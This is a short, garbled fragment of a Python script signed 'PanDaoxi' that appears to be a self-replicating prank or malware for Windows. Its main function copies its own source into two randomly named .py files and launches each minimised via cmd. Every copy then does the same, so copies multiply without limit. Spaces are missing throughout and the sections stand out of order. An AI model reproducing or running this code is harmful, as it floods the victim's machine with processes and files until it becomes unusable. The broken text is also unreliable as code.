defmain(): global loops,window Label(window,text=message,font=('Microsoft YaHei',20)).pack() withopen(__file__,"r",encoding="utf-8") as f: text = f.read() for i inrange(0,2): content = "%s\\%d.py" % (path,randint(100000,999999)) withopen(content,"w",encoding="utf-8") as f: f.write(text) loops.append(content) for i inrange(0,2): system("start /min cmd /c python %s" % loops[i])
if __name__ == "__main__"and name == "nt": main() else: showerror("Message","无法运行程序,原因可能是:\n(1)您非主动运行程序。\n(2)这个程序不能在当前系统下运行,请尝试其他操作系统。") exit() window.mainloop()
# Author:PanDaoxi from os import system, environ from random import randint, shuffle from sys import exit
names_char, p1, p2 = [], "", "" for i inrange(97, 123): names_char.append(chr(i)) for i inrange(65, 91): names_char.append(chr(i)) for i inrange(48, 58): names_char.append(chr(i))